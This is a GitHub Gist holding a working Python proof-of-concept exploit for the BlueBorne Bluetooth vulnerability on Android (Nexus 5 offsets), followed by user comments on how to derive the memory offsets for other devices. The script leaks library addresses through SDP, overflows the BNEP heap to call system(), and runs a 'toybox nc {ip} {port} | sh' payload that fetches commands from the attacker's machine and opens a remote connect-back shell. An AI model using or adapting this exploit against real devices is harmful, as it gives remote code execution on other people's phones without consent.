-
-
Save jesux/64cf037c55c0d42196762c0ccacc7380 to your computer and use it in GitHub Desktop.
import os | |
import sys | |
import time | |
import struct | |
import select | |
import binascii | |
import bluetooth | |
from bluetooth import _bluetooth as bt | |
import bluedroid | |
import connectback | |
from pwn import log | |
# Listening TCP ports that need to be opened on the attacker machine | |
NC_PORT = 1233 | |
STDOUT_PORT = 1234 | |
STDIN_PORT = 1235 | |
# Exploit offsets work for these (exact) libs: | |
# bullhead:/ # sha1sum /system/lib/hw/bluetooth.default.so | |
# 8a89cadfe96c0f79cdceee26c29aaf23e3d07a26 /system/lib/hw/bluetooth.default.so | |
# bullhead:/ # sha1sum /system/lib/libc.so | |
# 0b5396cd15a60b4076dacced9df773f75482f537 /system/lib/libc.so | |
# For Pixel 7.1.2 patch level Aug/July 2017 | |
#LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1 - 56 # system + 1 | |
#LIBC_SOME_BLX_OFFSET = 0x1a420 + 1 - 608 # eventfd_write + 28 + 1 | |
# Nexus 5 6.0.1 | |
LIBC_TEXT_STSTEM_OFFSET = 0x3ea04 + 1 # system + 1 | |
LIBC_SOME_BLX_OFFSET = 0x5825b | |
# For Nexus 5X 7.1.2 patch level Aug/July 2017 | |
#LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1 | |
#LIBC_SOME_BLX_OFFSET = 0x1a420 + 1 | |
# Aligned to 4 inside the name on the bss (same for both supported phones) | |
#BSS_ACL_REMOTE_NAME_OFFSET = 0x202ee4 | |
#BLUETOOTH_BSS_SOME_VAR_OFFSET = 0x14b244 | |
# Nexus 5 6.0.1 | |
BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c | |
BLUETOOTH_BSS_SOME_VAR_OFFSET = 0x144d80 | |
MAX_BT_NAME = 0xf5 | |
# Payload details (attacker IP should be accessible over the internet for the victim phone) | |
SHELL_SCRIPT = b'toybox nc {ip} {port} | sh' | |
PWNING_TIMEOUT = 3 | |
BNEP_PSM = 15 | |
PWN_ATTEMPTS = 1 | |
LEAK_ATTEMPTS = 1 | |
def set_bt_name(payload, src_hci, src, dst): | |
# Create raw HCI sock to set our BT name | |
raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci)) | |
flt = bt.hci_filter_new() | |
bt.hci_filter_all_ptypes(flt) | |
bt.hci_filter_all_events(flt) | |
raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt) | |
# Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment) | |
raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00')) | |
raw_sock.close() | |
#time.sleep(1) | |
time.sleep(0.1) | |
# Connect to BNEP to "refresh" the name (does auth) | |
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP) | |
bnep.bind((src, 0)) | |
bnep.connect((dst, BNEP_PSM)) | |
bnep.close() | |
# Close ACL connection | |
os.system('hcitool dc %s' % (dst,)) | |
#time.sleep(1) | |
def set_rand_bdaddr(src_hci): | |
addr = ['%02x' % (ord(c),) for c in os.urandom(6)] | |
# NOTW: works only with CSR bluetooth adapters! | |
os.system('sudo bccmd -d %s psset -r bdaddr 0x%s 0x00 0x%s 0x%s 0x%s 0x00 0x%s 0x%s' % | |
(src_hci, addr[3], addr[5], addr[4], addr[2], addr[1], addr[0])) | |
final_addr = ':'.join(addr) | |
log.info('Set %s to new rand BDADDR %s' % (src_hci, final_addr)) | |
#time.sleep(1) | |
while bt.hci_devid(final_addr) < 0: | |
time.sleep(0.1) | |
return final_addr | |
def memory_leak_get_bases(src, src_hci, dst): | |
prog = log.progress('Doing stack memeory leak...') | |
# Get leaked stack data. This memory leak gets "deterministic" "garbage" from the stack. | |
result = bluedroid.do_sdp_info_leak(dst, src) | |
#print("Leak: %s" % result) # Debug, show leak array | |
# Calculate according to known libc.so and bluetooth.default.so binaries | |
#likely_some_libc_blx_offset = result[-3][-2] | |
#likely_some_bluetooth_default_global_var_offset = result[6][0] | |
# Nexus 5 6.0.1 | |
likely_some_libc_blx_offset = result[6][1] | |
likely_some_bluetooth_default_global_var_offset = result[10][7] | |
# Show leak address | |
log.info("LIBC 0x%08x" % likely_some_libc_blx_offset) | |
log.info("BT 0x%08x" % likely_some_bluetooth_default_global_var_offset) | |
libc_text_base = likely_some_libc_blx_offset - LIBC_SOME_BLX_OFFSET | |
bluetooth_default_bss_base = likely_some_bluetooth_default_global_var_offset - BLUETOOTH_BSS_SOME_VAR_OFFSET | |
log.info('libc_base: 0x%08x, bss_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base)) | |
# Close SDP ACL connection | |
os.system('hcitool dc %s' % (dst,)) | |
time.sleep(0.1) | |
prog.success() | |
return libc_text_base, bluetooth_default_bss_base | |
def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base): | |
# Gen new BDADDR, so that the new BT name will be cached | |
src = set_rand_bdaddr(src_hci) | |
# Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#' | |
# 'sysm' is the address of system() from libc. The *whole* payload is a shell script. | |
# 0x1700 == (0x1722 & 0xff00) is the "event" of a "HORRIBLE_HACK" message. | |
#payload = struct.pack('<III', 0x41411722, 0x41414141, system_addr) + b'";\n' + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) + b'\n#' | |
# x -> payload address (name has 4 bytes of padding) | |
x = acl_name_addr+4 | |
shell_addr = x+24 # SHELL SCRIPT address | |
ptr0 = x+16 -4 # points to ptr0+4 (ptr1) | |
ptr1 = x+8 -8 # points to ptr1+8 (ptr2) | |
ptr2 = x+20 -28 # points to ptr2+28 (system_addr) | |
#payload = 'A'+ struct.pack('<IIIIII', shell_addr, 0x41414141, ptr2, 0x42424242, ptr1, system_addr) + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) | |
payload = 'A'+ struct.pack('<IIIIII', shell_addr, ptr1, ptr2, ptr0, ptr1, system_addr) + SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) | |
log.info("shelladdr 0x%08x" % shell_addr) | |
log.info("ptr0 0x%08x" % ptr0) | |
log.info("ptr1 0x%08x" % ptr1) | |
log.info("ptr2 0x%08x" % ptr2) | |
log.info("system 0x%08x" % system_addr) | |
log.info("PAYLOAD %s" % payload) | |
assert len(payload) < MAX_BT_NAME | |
assert b'\x00' not in payload | |
# Puts payload into a known bss location (once we create a BNEP connection). | |
set_bt_name(payload, src_hci, src, dst) | |
prog = log.progress('Connecting to BNEP again') | |
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP) | |
bnep.bind((src, 0)) | |
bnep.connect((dst, BNEP_PSM)) | |
prog.success() | |
prog = log.progress('Pwning...') | |
# Each of these messages causes BNEP code to send 100 "command not understood" responses. | |
# This causes list_node_t allocations on the heap (one per reponse) as items in the xmit_hold_q. | |
# These items are popped asynchronously to the arrival of our incoming messages (into hci_msg_q). | |
# Thus "holes" are created on the heap, allowing us to overflow a yet unhandled list_node of hci_msg_q. | |
for i in range(20): | |
bnep.send(binascii.unhexlify('8109' + '800109' * 100)) | |
# Repeatedly trigger the vuln (overflow of 8 bytes) after an 8 byte size heap buffer. | |
# This is highly likely to fully overflow over instances of "list_node_t" which is exactly | |
# 8 bytes long (and is *constantly* used/allocated/freed on the heap). | |
# Eventually one overflow causes a call to happen to "btu_hci_msg_process" with "p_msg" | |
# under our control. ("btu_hci_msg_process" is called *constantly* with messages out of a list) | |
for i in range(1000): | |
# If we're blocking here, the daemon has crashed | |
_, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT) | |
if not writeable: | |
break | |
bnep.send(binascii.unhexlify('810100') + | |
struct.pack('<II', 0, ptr0)) | |
else: | |
log.info("Looks like it didn't crash. Possibly worked") | |
prog.success() | |
def main(src_hci, dst, my_ip): | |
os.system('hciconfig %s sspmode 0' % (src_hci,)) | |
os.system('hcitool dc %s' % (dst,)) | |
sh_s, stdin, stdout = connectback.create_sockets(NC_PORT, STDIN_PORT, STDOUT_PORT) | |
for i in range(PWN_ATTEMPTS): | |
log.info('Pwn attempt %d:' % (i,)) | |
# Create a new BDADDR | |
src = set_rand_bdaddr(src_hci) | |
#set_bt_name("TESTTESTTESTTEST", src_hci, src, dst) # Set Name, REMOTE_NAME address search | |
# Try to leak section bases | |
for j in range(LEAK_ATTEMPTS): | |
libc_text_base, bluetooth_default_bss_base = memory_leak_get_bases(src, src_hci, dst) | |
if (libc_text_base & 0xfff == 0) and (bluetooth_default_bss_base & 0xfff == 0): | |
break | |
else: | |
assert False, "Memory doesn't seem to have leaked as expected. Wrong .so versions?" | |
system_addr = LIBC_TEXT_STSTEM_OFFSET + libc_text_base | |
acl_name_addr = BSS_ACL_REMOTE_NAME_OFFSET + bluetooth_default_bss_base | |
assert acl_name_addr % 4 == 0 | |
log.info('system: 0x%08x, acl_name: 0x%08x' % (system_addr, acl_name_addr)) | |
pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base) | |
# Check if we got a connectback | |
readable, _, _ = select.select([sh_s], [], [], PWNING_TIMEOUT) | |
if readable: | |
log.info('Done') | |
break | |
else: | |
assert False, "Pwning failed all attempts" | |
connectback.interactive_shell(sh_s, stdin, stdout, my_ip, STDIN_PORT, STDOUT_PORT) | |
if __name__ == '__main__': | |
main(*sys.argv[1:]) |
It works on Nexus 7 2013 mob30x with near the same input.
Hi @jesux and all (@SWGJR, @sergeyzapor, @jearyorg ), thank you so much for developing this PoC script. I'm trying to learn this attack and your code. But I'm not sure how did you calculate those offset values. It would be very helpful if you can shed some lights on the following questions for me.
-
I know LIBC_TEXT_STSTEM_OFFSET is the system() function address but we need to add "+ 1"?
-
How did you get BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c
Thank you very much!
I am not sure, but try to unblock 211 line to searchmem TESTTEST:
#set_bt_name("TESTTESTTESTTEST", src_hci, src, dst) # Set Name, REMOTE_NAME address search
And don't forget to block it again.
Hi all (@SWGJR, @sergeyzapor, @jearyorg), I also work on Nexus 7 2013 mob30x after reading some post about the details of ret2plt I made my changes to those offset variable. The exploit worked one time. Then every time I launch the attack it fails either due to bluetooth crash or says "socket.error host is done".
Also, I still do not know how to calculate BSS_ACL_REMOTE_NAME_OFFSET (I used 0x20450c)
Can some of you provide some advice? Especially @sergeyzapor could you share your experience since you worked on the same device. Thank you!
I also used 0x3ea04(with success to find) and 0x20450c(without success to find) and 0x5825b(without full understanding why exactly 58(not 57 or 59). I only changed last 2 digits in 0x144d80 (I used 0x144d7c with I hope full understanding why 144) to meat the demand of 216 line. I fink that 0x5825b and 0x144d7c are near the sizes of libc.so and bluetooth.default.so .
P.S. It works only sometimes by me. What exactly changes did you?
@sergeyzapor thank you! Yeah, I'm using the exactly the same number. I found 0x3ea04 using r2. I figured out why uses 0x144d7c and 0x5825b, it is the absolute offset in the libc.so and bluetooth.default.so (you get it by using the leaked address minus the beginning address of the corresponding libc.so and bluetooth.default.so, then you got the absolute offset). Although how did he figure out to use result[6][1] and result[10][7].
However, I do not know how did he calculate the BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c. There is no enough information in the post. I thought it is related to:
x = acl_name_addr+4
shell_addr = x+24 # SHELL SCRIPT address
ptr0 = x+16 -4 # points to ptr0+4 (ptr1)
ptr1 = x+8 -8 # points to ptr1+8 (ptr2)
ptr2 = x+20 -28 # points to ptr2+28 (system_addr)
But I could not figure out how exactly he 0x20450c. Also, I'm very confused by the calculation such as, acl_name_addr+4 and x+24 and x+16 -4
I made the attack work twice in the last 3 hours. It is not very reliable at all. I doubt it is due to the wrong BSS_ACL_REMOTE_NAME_OFFSET in my case because I'm pretty sure the rests are correct. But I'm not sure how to get it right. I used the set_bt_name("TESTTESTTESTTEST", src_hci, src, dst) function and GDB-ARM-PEDA I found the address for "TESTTESTTESTTEST" is 0xb3a9b31f in my testing runtime. But I do not know how to calculate the offset correctly.
@jesux can you please provide some insight? Thank you!
@danielwangksu Can you describe in details how you found 0xb3a9b31f?
Here is my experience exploiting BlueBorne on unpatched Android 7.1.2 - https://github.com/marcinguy/android712-blueborne/blob/master/README.md
anyone found the way on how to calculate BSS_ACL_REMOTE_NAME_OFFSET = 0x20450c ?
i got the hexdump from peda-arm, but i can't tell how BSS_ACL_REMOTE_NAME_OFFSET is calculated... i hope, that anyone can help and explain, how to calculate BSS_ACL_REMOTE_NAME_OFFSET !
Hi Jesus,
First I'd like to say great job on the write-up. I am learning both python (normally a C coder) and the inner workings of bluetooth as a whole and this has been a good exercise in security as well as an opportunity to get my hands dirty with a new 'fun' language.
I have run into a bit of confusion regarding some of the offsets and the methods by which they are generated. In particular are:
BSS_ACL_REMOTE_NAME_OFFSET
likely_some_libc_blx_offset
likely_some_bluetooth_default_global_var_offset
I cannot seem to find a relationship using the 'known offsets' LIBC_TEXT_STSTEM_OFFSET, LIBC_SOME_BLX_OFFSET, BLUETOOTH_BSS_SOME_VAR_OFFSET or any of the source values that are used to generate them in determining the above offsets in question.
What determines the choice of value contained in the results elements as assigned to the 'likely' variables in order to obtain the appropriate element indexes?
If the contained values are not the deciding the factor in element selection, how are you choosing the indexes for the result table elements ([6][1] & [10][7]) to retrieve 'unknown' but 'likely' values?
How are you determining the BSS_ACL_REMOTE_NAME_OFFSET? It cannot be calculated using the searchmem addresses and known base values. I may be missing something simple I suspect.
Thanks, and feliz año nuevo.